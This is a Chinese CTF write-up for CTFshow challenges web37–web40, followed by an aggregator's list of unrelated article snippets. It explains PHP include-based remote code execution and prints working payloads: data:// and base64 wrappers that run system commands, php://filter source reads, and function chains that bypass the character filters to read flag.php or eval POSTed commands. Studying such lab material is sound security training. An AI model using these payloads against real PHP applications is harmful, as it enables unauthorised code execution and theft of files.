CTFshow 命令执行 web37-web40

news2024/11/20 19:34:26

目录

web37

方法一:php://input

 方法二:data协议

web38

web39

web40

 方法一:构造文件读取

 方法二:构造数组+rce


web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag字符,不区分大小写。

我们可以看到这里有include($c)函数,通过$c变量,我们可以将想要执行的指令传入,如果要用到filter协议的话,payload可以构造如下:

?c=php://filter/read=convert.base64-encode/resource=flag.php

 但是由于过滤规则,把flag过滤掉了,这里就不能使用filter协议了。

方法一:php://input

有多种方式来实现,最常见的是利用hacker插件,将想要传输的参数,以post的方式传输

 也可以利用burpsuite来实现

 方法二:data协议

?c=data://text/plain,<?php system('tac f*');?>

 也可以将要传入的的命令加密之后才传入,并指明加密的类型。如这里采用base64的加密方式,

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

web38

if(!preg_match("/flag|php|file/i", $c))

可以看到把,flag,php,file都过滤掉了,多了对php的过滤,于是就只能

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

web39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

 include函数表示,在输入的参数c后面加上.php,解法同web38

?c=data://text/plain,<?php system('tac f*');?>

web40

我们可以看到过滤了好多的符号,最重要的是单双引号,斜杠、逗号、以及$都过滤掉了,这意味着我们之前的哪些方法都用不了了。但是值得一提的是,这里过滤掉的是中文括号,英文括号并没有被过滤掉。

 方法一:构造文件读取

 于是这里我们要用到许多的函数:

localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。current()与其相似。

scandir():获取目录下的文件。

array_reverse():数组逆序。

next():函数将内部指针指向数组中的下一个元素,并输出。

print_r():函数用于打印变量,作用对象是变量

show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件

highlight_file():跟show_source()类似。

 开始解题:

(1)首先我们看看localeconv()的返回值是什么:

 localeconv() 函数返回的 lconv 结构体的内容。这个结构体包含了与区域设置(locale)相关的数值和字符串信息,用于货币和数字的格式化。

(2)再用pos或者current函数返回数组当前元素的值:

?c=print_r(pos(localeconv()));

 得到的是一个点:

(3)使用scandir('.')获得当前目录下的文件:

?c=print_r(scandir(pos(localeconv())));

 

 可以看到目录下的文件,有flag.php文件

(4)使用array_reverse将文件目录反转

?c=print_r((array_reverse(scandir(current(localeconv())))));

 

(5)将反转后的目录使用next函数,将flag.php文件输出,值得注意的是,我们这里输出的对象是文件,前面用到的print_r函数输出的对象是参数,于是我们这里就只能用show_source或者highlight_file

 于是我们可以构造payload:

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

 得到flag

 方法二:构造数组+rce

get_defined_vars() :函数返回由所有已定义变量所组成的数组。

 打印当前所有变量:print_r(get_defined_vars());

array_pop() 函数删除数组中的最后一个元素。

 拿到数组,再拿数组值,数组弹出并打印:print(array_pop(next(get_defined_vars())));

payload:
eval(array_pop(next(get_defined_vars())));
post传参:1=system("tac fla?.php");

 

参考博客:ctfshow-web入门——命令执行(1)(web29-web40)_ctfshwo web入门命令执行-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2199631.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Gin框架中实现路由分组

在Gin框架中实现路由分组非常简单&#xff0c;你可以使用Group方法来创建一个分组&#xff0c;然后在这个分组中定义相关的路由。 分组可以包含中间件、路由前缀等&#xff0c;这使得路由的组织和管理变得非常方便&#xff0c;尤其是在大型项目中。 使用Gin框架实现路由分组的…

鹧鸪云光伏软件全面解析

一、主要功能 光伏电站常用工具&#xff1a; 投融资估算&#xff1a;帮助用户进行光伏电站项目的投资预算和融资规划。 发电量计算&#xff1a;根据光伏电站的设计参数和当地气候条件&#xff0c;计算电站的发电量。 安装倾角测算&#xff1a;根据屋顶朝向和地理位置&#…

欢迎加入凌鸥学园

&#x1f393;免费学习&#xff0c;荣誉加冕 凌鸥学园提供免费的电机控制课程&#xff0c;从基础到专业&#xff0c;全程无负担。 &#x1f4da;全面课程体系&#xff0c;灵活学习模式 凌鸥学园提供从基础到专业的全面课程体系&#xff0c;每个等级的课程都经过精心设计&#…

QT 串口通信中确保数据接收完成的方法

目录 一、引言 二、Qt 串口通信基础 1.QSerialPort 类 2.信号与槽机制 三、确保接收完成的方法 1.基于数据长度判断 2.基于特定结束标志判断 3.基于定时器的超时判断&#xff08;适用于不确定长度情况&#xff09; 4.结合协议头中的长度信息&#xff08;对于自定义协…

银河麒麟操作系统设置指定用户访问共享文件夹

银河麒麟操作系统设置指定用户访问共享文件夹 一、服务端操作步骤1&#xff1a;修改配置文件步骤2&#xff1a;设置用户密码步骤3&#xff1a;重启服务 二、操作方法验证 &#x1f490;The Begin&#x1f490;点点关注&#xff0c;收藏不迷路&#x1f490; 在银河麒麟操作系统中…

软件测试学习笔记丨tcpdump 与 wireshark

本文转自测试人社区&#xff0c;原文链接&#xff1a;https://ceshiren.com/t/topic/32333 一、抓包分析TCP协议 1.1 简介 TCP协议是在传输层中&#xff0c;一种面向连接的、可靠的、基于字节流的传输层通信协议。 1.2 环境准备 对接口测试工具进行分类&#xff1a; 网络嗅…

建筑物能耗模拟软件EnergyPlus下载安装及使用

建筑物能耗模拟软件EnergyPlus下载安装及使用 EnergyPlus概述EnergyPlus下载及安装EnergyPlus安装 EnergyPlus使用参考 建筑物能耗模拟软件是一种在建筑设计阶段使用的工具&#xff0c;能够透过电脑模拟预测未来建筑物的能耗情况&#xff0c;达成建筑性能模拟。这有助于评估不同…

技术总监详解:怎么用 Unity 引擎技术开发智能座舱 HMI 相关应用

想象一下&#xff0c;当启动车辆&#xff0c;眼前的屏幕瞬间点亮&#xff0c;呈现出一个逼真的 3D 城市景观&#xff0c;无论是清晨的第一缕阳光穿透云层&#xff0c;还是夜幕降临时霓虹灯下的繁华都市&#xff0c;都能够通过细腻的光影效果展现在眼前。3D HMI 方案提供直观、立…

Ethernet IP 转 Profinet网关在流量计中的应用

Ethernet/IP 和 Profinet 都是在工业自动化领域占据重要地位的工业以太网标准。 Ethernet/IP 是由美国罗克韦尔自动化公司开发的一种基于以太网的工业自动化通信协议。它采用 TCP/IP 协议栈&#xff0c;支持以太网和 TCP/IP 网络&#xff0c;具有高速、开放、互操作性强等特点…

重塑项目管理:角色认知的新视角与实践

在管理场景中&#xff0c;面对各种挑战时&#xff0c;你能否迅速切换至管理者视角来审视问题并作出反应&#xff0c;这直接反映了你的角色认知程度。角色认知往往在潜意识中起作用&#xff0c;自我难以察觉&#xff0c;但却能清晰地传达给他人&#xff0c;特别是当我们的行为与…

CDN绕过学习

1.什么是CDN&#xff1f; CDN就是分布在各个地区的服务器&#xff0c;这些服务器储存着数据的副本。 哪些服务器比较接近你&#xff0c;当你发起请求时&#xff0c;提前就会快速为你提供服务。 总结来说就是&#xff1a; 其实就是用来加速访问的&#xff0c;以及缓解压力&a…

原来机器学习这么简单——线性回归

引言&#xff1a; 在正文开始之前&#xff0c;首先给大家介绍一个不错的人工智能学习教程&#xff1a;https://www.captainbed.cn/bbs。其中包含了机器学习、深度学习、强化学习等系列教程&#xff0c;感兴趣的读者可以自行查阅。 一、什么是线性回归&#xff1f; 线性回归 是…

基于贝叶斯决策的 CAD 程序设计方案

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏…

大数据新视界 --大数据大厂之大数据与量子机器学习融合:突破智能分析极限

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

Linux入门3——vim的简单使用

1.vim 1.1 vim的模式 vim有三种主要模式&#xff1a; ①命令模式&#xff1a;使用vim刚打开进入的模式就是命令模式&#xff1b; ②插入模式&#xff1a;只有在插入模式下才可以做文字输入&#xff0c;按[Esc]键可退回命令模式&#xff1b; ③末行模式&#xff1a;文件保存或退…

希亦超声波清洗机值得购买吗?清洁技术之王多维度测评大揭秘!

随着人们生活质量的提升&#xff0c;高质量眼镜愈发受到欢迎&#xff0c;但它们的清洁与保养却常常被疏忽&#xff0c;导致镜片蒙尘受损&#xff0c;影响佩戴者的视觉清晰度。为此&#xff0c;超声波眼镜清洗机作为一种新兴潮流应时而生&#xff0c;以其高效清洁眼镜及珠宝、精…

行盒的截断样式 box-decoration-break

1. 场景举例 当我们遇到如下场景时&#xff0c; 很多小伙伴可能会直接为这段文字添加边框和背景颜色&#xff0c;但往往会发现&#xff0c;效果并不如预期。出现的问题如下图所示&#xff0c;那么该如何解决呢&#xff1f; 这时就需要引入一个非常实用的 CSS 属性——box-deco…

元宇宙展厅的展示方式有哪些?

元宇宙展厅的展示方式多种多样&#xff0c;融合了虚拟现实以及多媒体交互等先进技术&#xff0c;为参观者提供了前所未有的沉浸式体验。以下是一些主要的展示方式&#xff1a; 1、虚拟现实&#xff08;VR&#xff09;展示&#xff1a; 利用VR技术&#xff0c;观众可以身临其境…

开关 switch

<el-table-column label"公开 | 隐藏" align"center" width"100"><template slot-scope"scope"><el-switchv-model"scope.row.dynamicStatus":active-value"1":inactive-value"0"active…

Windows11下 安装 Docker部分疑难杂症(Unexpecter WSL error)

装了大半天Docker desktop终于装好了&#xff0c;网上有的主流教程就不复述了&#xff0c;主要说一下网上没有的教程。 以下是遇到的问题&#xff1a; 首先&#xff0c;启用或关闭Windows确保里面与虚拟机有关的几个都要选上 没有Hyper-V参考此文 但是我这里都勾选了&#x…